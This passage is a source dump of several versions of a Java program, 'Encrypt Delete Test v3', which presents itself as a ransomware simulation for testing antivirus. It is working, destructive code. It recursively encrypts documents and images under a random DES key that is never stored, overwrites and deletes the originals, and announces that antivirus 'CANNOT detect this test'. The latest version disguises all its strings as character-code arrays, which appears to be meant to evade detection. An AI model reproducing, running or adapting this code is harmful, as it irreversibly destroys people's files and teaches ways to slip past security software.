frame.getContentPane().add(button, BorderLayout.SOUTH); 70 | frame.pack(); 71 | frame.setLocationRelativeTo(null); 72 | frame.setVisible(true); 73 | button.addActionListener(this); 74 | } 75 | 76 | public static void main(String[] args) throws IOException, ParseException { 77 | new EncryptDelTestv3(); 78 | Date expirydate = sdf.parse("2021-1-18"); 79 | System.out.println(""); 80 | textarea.append("[Encrypt Delete Test v3 (Java)]\n"); 81 | textarea.append("Simulate ransomware encryption behaviour\n"); 82 | textarea.append("By Eddie Chu eddiechu.android@gmail.com\n"); 83 | textarea.append("Version v3.0.3 (7/Aug/2021)\n"); 84 | textarea.append("\n"); 85 | textarea.append("This tool encrypt the file, with extension of *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png, under current folder and it's subfolder(s)\n"); 86 | textarea.append("\n"); 87 | textarea.append("[Caution]\n"); 88 | textarea.append("You use this tool completely at your own risk.\n"); 89 | textarea.append("\n"); 90 | textarea.append("Please click \"Continue\" to proceed\n"); 91 | textarea.setCaretPosition(textarea.getDocument().getLength()); 92 | } 93 | 94 | public static void goProcess() { 95 | textarea.append("\n"); 96 | System.out.println(""); 97 | File currentDir = new File("."); // current directory 98 | displayDirectoryContents(currentDir); 99 | try { 100 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 101 | out.write("\n"); 102 | out.write("\n"); 103 | out.write("EncryptDelTestv3\n"); 104 | out.write("\n"); 105 | out.write("[EncryptDelTestv3 (Java)]



\n"); 106 | out.write("Thanks for your test!

\n"); 107 | out.write("Your anti-virus software CANNOT detect this test

\n"); 108 | out.write("
\n"); 109 | out.write("
\n"); 110 | out.write("
Encryption Key: " + initialization_vector + "\n"); 111 | out.write("
Encrypted File: " + encryptedcount + "\n"); 112 | out.write("
" + sdf.format(today) + "\n"); 113 | out.write("
\n"); 114 | out.write("\n"); 115 | out.write("\n"); 116 | out.close(); 117 | } 118 | catch (IOException e) { 119 | } 120 | 121 | textarea.append("\n"); 122 | System.out.println(""); 123 | 124 | if (encryptedcount > 0){ 125 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 126 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 127 | try { 128 | java.net.URI uri = new java.net.URI("popup.html"); 129 | desktop.browse( uri ); 130 | } 131 | catch ( Exception e ) { 132 | System.err.println( e.getMessage() ); 133 | } 134 | } 135 | textarea.append("Encryption Key: " + initialization_vector + "\n"); 136 | System.out.println("Encryption Key: " + initialization_vector); 137 | textarea.append("Encrypted File: " + encryptedcount + "\n"); 138 | System.out.println("Encrypted File: " + encryptedcount ); 139 | textarea.setForeground(Color.RED); 140 | textarea.append("Your anti-virus software CANNOT detect this test\n"); 141 | System.out.println("Your anti-virus software CANNOT detect this test"); 142 | } else { 143 | textarea.append("No file is found or encrypted\n"); 144 | System.out.println("No file is found or encrypted"); 145 | } 146 | textarea.setCaretPosition(textarea.getDocument().getLength()); 147 | JFrame f; 148 | f=new JFrame(); 149 | if (encryptedcount > 0){ 150 | JOptionPane.showMessageDialog(f,"Your anti-virus software CANNOT detect this test!","EncryptDelTestv3",JOptionPane.ERROR_MESSAGE); 151 | } 152 | } 153 | 154 | public static void displayDirectoryContents(File dir) { 155 | try { 156 | File[] files = dir.listFiles(); 157 | for (File file: files) { 158 | if (file.isDirectory()) { 159 | displayDirectoryContents(file); 160 | } else { 161 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 162 | System.out.println(file.getCanonicalPath()); 163 | textarea.append(file.getCanonicalPath()+"\n"); 164 | JavaDESEncryption(file.getCanonicalPath()); 165 | } 166 | } 167 | } 168 | } catch (IOException e) { 169 | e.printStackTrace(); 170 | } 171 | } 172 | 173 | public static void JavaDESEncryption(String filename) { 174 | 175 | String clearFile = filename; 176 | String encryptedFile = filename + ".poc"; 177 | String decryptedFile = filename + ".dec"; 178 | 179 | try { 180 | 181 | SecretKey secret_key = KeyGenerator.getInstance("DES").generateKey(); 182 | AlgorithmParameterSpec alogrithm_specs = new IvParameterSpec(initialization_vector); 183 | 184 | encrypt = Cipher.getInstance("DES/CBC/PKCS5Padding"); 185 | encrypt.init(Cipher.ENCRYPT_MODE, secret_key, alogrithm_specs); 186 | 187 | textarea.append("encrypt to " + clearFile + "\n"); 188 | System.out.println("encrypt to " + clearFile); 189 | encrypt(new FileInputStream(clearFile), new FileOutputStream(encryptedFile)); 190 | encryptedcount = encryptedcount + 1; 191 | textarea.append("overwrite " + clearFile + "\n"); 192 | System.out.println("overwrite " + clearFile); 193 | File file = new File(clearFile); 194 | Path pathencryptedFile = Paths.get(encryptedFile); 195 | Path pathclearFile = Paths.get(clearFile); 196 | Files.copy(pathencryptedFile, pathclearFile, StandardCopyOption.REPLACE_EXISTING); 197 | file.delete(); 198 | 199 | textarea.append("delete " + clearFile + "\n"); 200 | System.out.println("delete " + clearFile); 201 | textarea.append("verify " + clearFile + " ... "); 202 | System.out.print("verify " + clearFile + " ... "); 203 | File f = new File(clearFile); 204 | if (f.exists() && f.isFile()) { 205 | textarea.append("(exist)\n"); 206 | System.out.println("(exist)"); 207 | } else { 208 | textarea.append("(not exist)\n"); 209 | System.out.println("(not exist)"); 210 | } 211 | textarea.append("\n"); 212 | System.out.println(""); 213 | 214 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IOException e) { 215 | e.printStackTrace(); 216 | } 217 | 218 | } 219 | 220 | private static void encrypt(InputStream input, OutputStream output) 221 | throws IOException { 222 | 223 | output = new CipherOutputStream(output, encrypt); 224 | writeBytes(input, output); 225 | } 226 | 227 | private static void decrypt(InputStream input, OutputStream output) 228 | throws IOException { 229 | 230 | input = new CipherInputStream(input, decrypt); 231 | writeBytes(input, output); 232 | } 233 | 234 | private static void writeBytes(InputStream input, OutputStream output) 235 | throws IOException { 236 | byte[] writeBuffer = new byte[512]; 237 | int readBytes = 0; 238 | 239 | while ((readBytes = input.read(writeBuffer)) >= 0) { 240 | output.write(writeBuffer, 0, readBytes); 241 | } 242 | 243 | output.close(); 244 | input.close(); 245 | } 246 | 247 | @Override 248 | public void actionPerformed(ActionEvent e){ 249 | button.setEnabled(false); 250 | goProcess(); 251 | } 252 | 253 | } 254 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv3.java.210814: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.security.InvalidAlgorithmParameterException; 11 | import java.security.InvalidKeyException; 12 | import java.security.NoSuchAlgorithmException; 13 | import java.security.spec.AlgorithmParameterSpec; 14 | 15 | import javax.crypto.Cipher; 16 | import javax.crypto.CipherInputStream; 17 | import javax.crypto.CipherOutputStream; 18 | import javax.crypto.KeyGenerator; 19 | import javax.crypto.NoSuchPaddingException; 20 | import javax.crypto.SecretKey; 21 | import javax.crypto.spec.IvParameterSpec; 22 | 23 | import java.text.ParseException; 24 | import java.text.SimpleDateFormat; 25 | import java.util.Date; 26 | 27 | import java.io.*; 28 | import java.nio.file.StandardCopyOption; 29 | import java.nio.file.Files; 30 | import java.nio.file.Path; 31 | import java.nio.file.Paths; 32 | 33 | import java.awt.BorderLayout; 34 | import java.awt.event.ActionEvent; 35 | import javax.swing.*; 36 | import java.awt.event.*; 37 | import javax.swing.*; 38 | import java.awt.*; 39 | 40 | import java.net.URI; 41 | import java.awt.Desktop; 42 | 43 | public class EncryptDelTestv3 extends JPanel implements ActionListener { 44 | private static Cipher encrypt; 45 | private static JTextArea textarea = new JTextArea(40, 60); 46 | private static JButton button = new JButton("Continue"); 47 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 48 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 49 | private static Date today = new Date(); 50 | public static int encryptedcount; 51 | 52 | public EncryptDelTestv3(){ 53 | JFrame frame = new JFrame("EncryptDelTestv3"); 54 | textarea.setFocusable(false); 55 | textarea.setWrapStyleWord(false); 56 | textarea.setLineWrap(false); 57 | Font font = new Font("Courier New", Font.BOLD, 12); 58 | textarea.setFont(font); 59 | JScrollPane scrollpane = new JScrollPane(textarea); 60 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 61 | 62 | frame.setBounds(3, 3, 3, 3); 63 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 64 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 65 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 66 | frame.getContentPane().add(button, BorderLayout.SOUTH); 67 | frame.pack(); 68 | frame.setLocationRelativeTo(null); 69 | frame.setVisible(true); 70 | button.addActionListener(this); 71 | } 72 | 73 | public static void main(String[] args) throws IOException, ParseException { 74 | new EncryptDelTestv3(); 75 | Date expirydate = sdf.parse("2021-1-18"); 76 | System.out.println(""); 77 | textarea.append("[Encrypt Delete Test v3 (Java)]\n"); 78 | textarea.append("Simulate ransomware encryption operation\n"); 79 | textarea.append("By Eddie Chu eddiechu.android@gmail.com\n"); 80 | textarea.append("Please download the original and latest version from\n"); 81 | textarea.append("github.com/eddiechu/Encrypt-Delete-Test\n"); 82 | textarea.append("Version v3.0.4 (14/Aug/2021)\n"); 83 | textarea.append("\n"); 84 | textarea.append("This tool encrypt the file, with extension of *.doc,*.docx,*.xls,*.xlsx,*.txt,*.rtf,*.pdf,*.jpg,*.jpeg,*.gif,*.bmp,*.png, under current folder and it's subfolder(s)\n"); 85 | textarea.append("\n"); 86 | textarea.append("[Caution]\n"); 87 | textarea.append("You use this tool completely at your own risk.\n"); 88 | textarea.append("\n"); 89 | textarea.append("Please click \"Continue\" to proceed\n"); 90 | textarea.setCaretPosition(textarea.getDocument().getLength()); 91 | } 92 | 93 | public static void goProcess() { 94 | textarea.append("\n"); 95 | System.out.println(""); 96 | File currentDir = new File("."); 97 | displayDirectoryContents(currentDir); 98 | try { 99 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 100 | out.write("\n"); 101 | out.write("\n"); 102 | out.write("EncryptDelTestv3\n"); 103 | out.write("\n"); 104 | out.write("[EncryptDelTestv3 (Java)]



\n"); 105 | out.write("Thanks for your test!

\n"); 106 | out.write("Your anti-virus software CANNOT detect this test

\n"); 107 | out.write("
\n"); 108 | out.write("
\n"); 109 | out.write("
Encryption Key: " + initialization_vector + "\n"); 110 | out.write("
Encrypted File: " + encryptedcount + "\n"); 111 | out.write("
" + sdf.format(today) + "\n"); 112 | out.write("
\n"); 113 | out.write("\n"); 114 | out.write("\n"); 115 | out.close(); 116 | } 117 | catch (IOException e) { 118 | } 119 | 120 | textarea.append("\n"); 121 | System.out.println(""); 122 | 123 | if (encryptedcount > 0){ 124 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 125 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 126 | try { 127 | java.net.URI uri = new java.net.URI("popup.html"); 128 | desktop.browse( uri ); 129 | } 130 | catch ( Exception e ) { 131 | System.err.println( e.getMessage() ); 132 | } 133 | } 134 | textarea.append("Encryption Key: " + initialization_vector + "\n"); 135 | System.out.println("Encryption Key: " + initialization_vector); 136 | textarea.append("Encrypted File: " + encryptedcount + "\n"); 137 | System.out.println("Encrypted File: " + encryptedcount ); 138 | textarea.setForeground(Color.RED); 139 | textarea.append("Your anti-virus software CANNOT detect this test\n"); 140 | System.out.println("Your anti-virus software CANNOT detect this test"); 141 | } else { 142 | textarea.append("No file is found or encrypted\n"); 143 | System.out.println("No file is found or encrypted"); 144 | } 145 | textarea.setCaretPosition(textarea.getDocument().getLength()); 146 | JFrame f; 147 | f=new JFrame(); 148 | if (encryptedcount > 0){ 149 | JOptionPane.showMessageDialog(f,"Your anti-virus software CANNOT detect this test!","EncryptDelTestv3",JOptionPane.ERROR_MESSAGE); 150 | } 151 | } 152 | 153 | public static void displayDirectoryContents(File dir) { 154 | try { 155 | File[] files = dir.listFiles(); 156 | for (File file: files) { 157 | if (file.isDirectory()) { 158 | displayDirectoryContents(file); 159 | } else { 160 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 161 | System.out.println(file.getCanonicalPath()); 162 | textarea.append(file.getCanonicalPath()+"\n"); 163 | JavaDESEncryption(file.getCanonicalPath()); 164 | } 165 | } 166 | } 167 | } catch (IOException e) { 168 | e.printStackTrace(); 169 | } 170 | } 171 | 172 | public static void JavaDESEncryption(String filename) { 173 | 174 | String clearFile = filename; 175 | String encryptedFile = filename + ".encrypted"; 176 | 177 | try { 178 | 179 | SecretKey secret_key = KeyGenerator.getInstance("DES").generateKey(); 180 | AlgorithmParameterSpec alogrithm_specs = new IvParameterSpec(initialization_vector); 181 | 182 | encrypt = Cipher.getInstance("DES/CBC/PKCS5Padding"); 183 | encrypt.init(Cipher.ENCRYPT_MODE, secret_key, alogrithm_specs); 184 | 185 | textarea.append("encrypt to " + clearFile + "\n"); 186 | System.out.println("encrypt to " + clearFile); 187 | encrypt(new FileInputStream(clearFile), new FileOutputStream(encryptedFile)); 188 | encryptedcount = encryptedcount + 1; 189 | textarea.append("overwrite " + clearFile + "\n"); 190 | System.out.println("overwrite " + clearFile); 191 | File file = new File(clearFile); 192 | Path pathencryptedFile = Paths.get(encryptedFile); 193 | Path pathclearFile = Paths.get(clearFile); 194 | Files.copy(pathencryptedFile, pathclearFile, StandardCopyOption.REPLACE_EXISTING); 195 | file.delete(); 196 | 197 | textarea.append("delete " + clearFile + "\n"); 198 | System.out.println("delete " + clearFile); 199 | textarea.append("verify " + clearFile + " ... "); 200 | System.out.print("verify " + clearFile + " ... "); 201 | File f = new File(clearFile); 202 | if (f.exists() && f.isFile()) { 203 | textarea.append("(exist)\n"); 204 | System.out.println("(exist)"); 205 | } else { 206 | textarea.append("(not exist)\n"); 207 | System.out.println("(not exist)"); 208 | } 209 | textarea.append("\n"); 210 | System.out.println(""); 211 | 212 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IOException e) { 213 | e.printStackTrace(); 214 | } 215 | 216 | } 217 | 218 | private static void encrypt(InputStream input, OutputStream output) 219 | throws IOException { 220 | 221 | output = new CipherOutputStream(output, encrypt); 222 | writeBytes(input, output); 223 | } 224 | 225 | private static void writeBytes(InputStream input, OutputStream output) 226 | throws IOException { 227 | byte[] writeBuffer = new byte[512]; 228 | int readBytes = 0; 229 | 230 | while ((readBytes = input.read(writeBuffer)) >= 0) { 231 | output.write(writeBuffer, 0, readBytes); 232 | } 233 | 234 | output.close(); 235 | input.close(); 236 | } 237 | 238 | @Override 239 | public void actionPerformed(ActionEvent e){ 240 | button.setEnabled(false); 241 | goProcess(); 242 | } 243 | 244 | } 245 | 246 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv3.java.210830: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.security.InvalidAlgorithmParameterException; 11 | import java.security.InvalidKeyException; 12 | import java.security.NoSuchAlgorithmException; 13 | import java.security.spec.AlgorithmParameterSpec; 14 | 15 | import javax.crypto.Cipher; 16 | import javax.crypto.CipherInputStream; 17 | import javax.crypto.CipherOutputStream; 18 | import javax.crypto.KeyGenerator; 19 | import javax.crypto.NoSuchPaddingException; 20 | import javax.crypto.SecretKey; 21 | import javax.crypto.spec.IvParameterSpec; 22 | 23 | import java.text.ParseException; 24 | import java.text.SimpleDateFormat; 25 | import java.util.Date; 26 | 27 | import java.io.*; 28 | import java.nio.file.StandardCopyOption; 29 | import java.nio.file.Files; 30 | import java.nio.file.Path; 31 | import java.nio.file.Paths; 32 | 33 | import java.awt.BorderLayout; 34 | import java.awt.event.ActionEvent; 35 | import javax.swing.*; 36 | import java.awt.event.*; 37 | import javax.swing.*; 38 | import java.awt.*; 39 | 40 | import java.net.URI; 41 | import java.awt.Desktop; 42 | 43 | public class EncryptDelTestv3 extends JPanel implements ActionListener { 44 | private static Cipher encrypt; 45 | private static JTextArea textarea = new JTextArea(40, 60); 46 | private static JButton button = new JButton("Continue"); 47 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 48 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 49 | private static Date today = new Date(); 50 | public static int encryptedcount; 51 | 52 | public EncryptDelTestv3(){ 53 | JFrame frame = new JFrame("EncryptDelTestv3"); 54 | textarea.setFocusable(false); 55 | textarea.setWrapStyleWord(false); 56 | textarea.setLineWrap(false); 57 | Font font = new Font("Courier New", Font.BOLD, 12); 58 | textarea.setFont(font); 59 | JScrollPane scrollpane = new JScrollPane(textarea); 60 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 61 | 62 | frame.setBounds(3, 3, 3, 3); 63 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 64 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 65 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 66 | frame.getContentPane().add(button, BorderLayout.SOUTH); 67 | frame.pack(); 68 | frame.setLocationRelativeTo(null); 69 | frame.setVisible(true); 70 | button.addActionListener(this); 71 | } 72 | 73 | public static void main(String[] args) throws IOException, ParseException { 74 | new EncryptDelTestv3(); 75 | Date expirydate = sdf.parse("2021-1-18"); 76 | System.out.println(""); 77 | int CharNum[] = {91,69,110,99,114,121,112,116,32,68,101,108,101,116,101,32,84,101,115,116,32,118,51,32,40,74,97,118,97,41,93}; 78 | textarea.append(NumtoString(CharNum)+"\n"); 79 | CharNum = new int[]{83,105,109,117,108,97,116,101,32,114,97,110,115,111,109,119,97,114,101,32,101,110,99,114,121,112,116,105,111,110,32,111,112,101,114,97,116,105,111,110}; 80 | textarea.append(NumtoString(CharNum)+"\n"); 81 | CharNum = new int[]{66,121,32,69,100,100,105,101,32,67,104,117,32,101,100,100,105,101,99,104,117,46,97,110,100,114,111,105,100,64,103,109,97,105,108,46,99,111,109}; 82 | textarea.append(NumtoString(CharNum)+"\n"); 83 | CharNum = new int[]{80,108,101,97,115,101,32,100,111,119,110,108,111,97,100,32,116,104,101,32,111,114,105,103,105,110,97,108,32,97,110,100,32,108,97,116,101,115,116,32,118,101,114,115,105,111,110,32,102,114,111,109}; 84 | textarea.append(NumtoString(CharNum)+"\n"); 85 | CharNum = new int[]{103,105,116,104,117,98,46,99,111,109,47,101,100,100,105,101,99,104,117,47,69,110,99,114,121,112,116,45,68,101,108,101,116,101,45,84,101,115,116}; 86 | textarea.append(NumtoString(CharNum)+"\n"); 87 | CharNum = new int[]{86,101,114,115,105,111,110,32,118,51,46,48,46,53,32,40,51,48,47,65,117,103,47,50,48,50,49,41}; 88 | textarea.append(NumtoString(CharNum)+"\n"); 89 | textarea.append("\n"); 90 | CharNum = new int[]{84,104,105,115,32,116,111,111,108,32,101,110,99,114,121,112,116,32,116,104,101,32,102,105,108,101,32,117,110,100,101,114,32,99,117,114,114,101,110,116,32,102,111,108,100,101,114,32,97,110,100,32,105,116,39,115,32,115,117,98,102,111,108,100,101,114,40,115,41}; 91 | textarea.append(NumtoString(CharNum)+"\n"); 92 | textarea.append("\n"); 93 | CharNum = new int[]{91,67,97,117,116,105,111,110,93}; 94 | textarea.append(NumtoString(CharNum)+"\n"); 95 | CharNum = new int[]{89,111,117,32,117,115,101,32,116,104,105,115,32,116,111,111,108,32,99,111,109,112,108,101,116,101,108,121,32,97,116,32,121,111,117,114,32,111,119,110,32,114,105,115,107,46}; 96 | textarea.append(NumtoString(CharNum)+"\n"); 97 | textarea.append("\n"); 98 | CharNum = new int[]{80,108,101,97,115,101,32,99,108,105,99,107,32,34,67,111,110,116,105,110,117,101,34,32,116,111,32,112,114,111,99,101,101,100}; 99 | textarea.append(NumtoString(CharNum)+"\n"); 100 | textarea.setCaretPosition(textarea.getDocument().getLength()); 101 | } 102 | 103 | public static void goProcess() { 104 | textarea.append("\n"); 105 | System.out.println(""); 106 | File currentDir = new File("."); 107 | displayDirectoryContents(currentDir); 108 | try { 109 | BufferedWriter out = new BufferedWriter(new FileWriter("popup.html")); 110 | int CharNum[] = {60,104,116,109,108,62}; 111 | out.write(NumtoString(CharNum)+"\n"); 112 | CharNum = new int[]{60,104,101,97,100,62}; 113 | out.write(NumtoString(CharNum)+"\n"); 114 | CharNum = new int[]{60,116,105,116,108,101,62,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,51,60,47,116,105,116,108,101,62}; 115 | out.write(NumtoString(CharNum)+"\n"); 116 | CharNum = new int[]{60,98,111,100,121,32,98,103,99,111,108,111,114,61,114,101,100,62}; 117 | out.write(NumtoString(CharNum)+"\n"); 118 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,60,98,62,91,69,110,99,114,121,112,116,68,101,108,84,101,115,116,118,51,32,40,74,97,118,97,41,93,60,47,98,62,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62,60,98,114,62,60,98,114,62}; 119 | out.write(NumtoString(CharNum)+"\n"); 120 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,84,104,97,110,107,115,32,102,111,114,32,121,111,117,114,32,116,101,115,116,33,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 121 | out.write(NumtoString(CharNum)+"\n"); 122 | CharNum = new int[]{60,102,111,110,116,32,115,105,122,101,61,43,49,48,32,99,111,108,111,114,61,119,104,105,116,101,62,89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,60,117,62,67,65,78,78,79,84,60,47,117,62,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,60,47,102,111,110,116,62,60,98,114,62,60,98,114,62}; 123 | out.write(NumtoString(CharNum)+"\n"); 124 | out.write("
\n"); 125 | out.write("
\n"); 126 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 127 | out.write(NumtoString(CharNum) + initialization_vector + "\n"); 128 | CharNum = new int[]{60,98,114,62,69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 129 | out.write(NumtoString(CharNum) + encryptedcount + "\n"); 130 | out.write("
" + sdf.format(today) + "\n"); 131 | out.write("
\n"); 132 | CharNum = new int[]{60,47,98,111,100,121,62}; 133 | out.write(NumtoString(CharNum)+"\n"); 134 | CharNum = new int[]{60,47,104,116,109,108,62}; 135 | out.write(NumtoString(CharNum)+"\n"); 136 | out.close(); 137 | } 138 | catch (IOException e) { 139 | } 140 | 141 | textarea.append("\n"); 142 | System.out.println(""); 143 | 144 | if (encryptedcount > 0){ 145 | java.awt.Desktop desktop = java.awt.Desktop.getDesktop(); 146 | if( desktop.isSupported( java.awt.Desktop.Action.BROWSE ) ) { 147 | try { 148 | java.net.URI uri = new java.net.URI("popup.html"); 149 | desktop.browse( uri ); 150 | } 151 | catch ( Exception e ) { 152 | System.err.println( e.getMessage() ); 153 | } 154 | } 155 | int CharNum[] = {69,110,99,114,121,112,116,105,111,110,32,75,101,121,58,32}; 156 | textarea.append(NumtoString(CharNum) + initialization_vector + "\n"); 157 | System.out.println(NumtoString(CharNum) + initialization_vector); 158 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 159 | textarea.append(NumtoString(CharNum) + encryptedcount + "\n"); 160 | System.out.println(NumtoString(CharNum) + encryptedcount ); 161 | textarea.setForeground(Color.RED); 162 | CharNum = new int[]{89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,67,65,78,78,79,84,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116}; 163 | textarea.append(NumtoString(CharNum) + "\n"); 164 | CharNum = new int[]{69,110,99,114,121,112,116,101,100,32,70,105,108,101,58,32}; 165 | System.out.println(NumtoString(CharNum)); 166 | } else { 167 | int CharNum[] = {78,111,32,102,105,108,101,32,105,115,32,102,111,117,110,100,32,111,114,32,101,110,99,114,121,112,116,101,100}; 168 | textarea.append(NumtoString(CharNum) + "\n"); 169 | System.out.println(NumtoString(CharNum)); 170 | } 171 | textarea.setCaretPosition(textarea.getDocument().getLength()); 172 | JFrame f; 173 | f=new JFrame(); 174 | if (encryptedcount > 0){ 175 | int CharNum[] = {89,111,117,114,32,97,110,116,105,45,118,105,114,117,115,32,115,111,102,116,119,97,114,101,32,67,65,78,78,79,84,32,100,101,116,101,99,116,32,116,104,105,115,32,116,101,115,116,33}; 176 | JOptionPane.showMessageDialog(f,NumtoString(CharNum),"EncryptDelTestv3",JOptionPane.ERROR_MESSAGE); 177 | } 178 | } 179 | 180 | public static void displayDirectoryContents(File dir) { 181 | try { 182 | File[] files = dir.listFiles(); 183 | for (File file: files) { 184 | if (file.isDirectory()) { 185 | displayDirectoryContents(file); 186 | } else { 187 | if (file.getCanonicalPath().toLowerCase().endsWith(".doc") || file.getCanonicalPath().toLowerCase().endsWith(".docx") || file.getCanonicalPath().toLowerCase().endsWith(".xls") || file.getCanonicalPath().toLowerCase().endsWith(".xlsx") || file.getCanonicalPath().toLowerCase().endsWith(".txt") || file.getCanonicalPath().toLowerCase().endsWith(".rtf") || file.getCanonicalPath().toLowerCase().endsWith(".pdf") || file.getCanonicalPath().toLowerCase().endsWith(".jpg") || file.getCanonicalPath().toLowerCase().endsWith(".jpeg") || file.getCanonicalPath().toLowerCase().endsWith(".gif") || file.getCanonicalPath().toLowerCase().endsWith(".bmp") || file.getCanonicalPath().toLowerCase().endsWith(".png")){ 188 | System.out.println(file.getCanonicalPath()); 189 | textarea.append(file.getCanonicalPath()+"\n"); 190 | JavaDESEncryption(file.getCanonicalPath()); 191 | } 192 | } 193 | } 194 | } catch (IOException e) { 195 | e.printStackTrace(); 196 | } 197 | } 198 | 199 | public static String NumtoString(int[] NumArray){ 200 | String str = ""; 201 | for (int i: NumArray) { 202 | str += Character.toString((char) i); 203 | } 204 | return str; 205 | } 206 | 207 | public static void JavaDESEncryption(String filename) { 208 | int CharNum[] = {101,110,99,114,121,112,116}; 209 | String clearFile = filename; 210 | String encryptedFile = filename + "." + NumtoString(CharNum) + "ed"; 211 | 212 | try { 213 | 214 | SecretKey secret_key = KeyGenerator.getInstance("DES").generateKey(); 215 | AlgorithmParameterSpec alogrithm_specs = new IvParameterSpec(initialization_vector); 216 | 217 | encrypt = Cipher.getInstance("DES/CBC/PKCS5Padding"); 218 | encrypt.init(Cipher.ENCRYPT_MODE, secret_key, alogrithm_specs); 219 | 220 | textarea.append(NumtoString(CharNum) + " to " + encryptedFile + "\n"); 221 | System.out.println(NumtoString(CharNum) + " to " + encryptedFile); 222 | encrypt(new FileInputStream(clearFile), new FileOutputStream(encryptedFile)); 223 | encryptedcount = encryptedcount + 1; 224 | CharNum = new int[]{111,118,101,114,119,114,105,116,101,32}; 225 | textarea.append(NumtoString(CharNum) + clearFile + "\n"); 226 | System.out.println(NumtoString(CharNum) + clearFile); 227 | File file = new File(clearFile); 228 | Path pathencryptedFile = Paths.get(encryptedFile); 229 | Path pathclearFile = Paths.get(clearFile); 230 | Files.copy(pathencryptedFile, pathclearFile, StandardCopyOption.REPLACE_EXISTING); 231 | file.delete(); 232 | 233 | CharNum = new int[]{100,101,108,101,116,101,32}; 234 | textarea.append(NumtoString(CharNum) + clearFile + "\n"); 235 | System.out.println(NumtoString(CharNum) + clearFile); 236 | CharNum = new int[]{118,101,114,105,102,121,32}; 237 | textarea.append(NumtoString(CharNum) + clearFile + " ... "); 238 | System.out.print(NumtoString(CharNum) + clearFile + " ... "); 239 | File f = new File(clearFile); 240 | if (f.exists() && f.isFile()) { 241 | textarea.append("(exist)\n"); 242 | System.out.println("(exist)"); 243 | } else { 244 | textarea.append("(not exist)\n"); 245 | System.out.println("(not exist)"); 246 | } 247 | textarea.append("\n"); 248 | System.out.println(""); 249 | 250 | } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException | InvalidAlgorithmParameterException | IOException e) { 251 | e.printStackTrace(); 252 | } 253 | 254 | 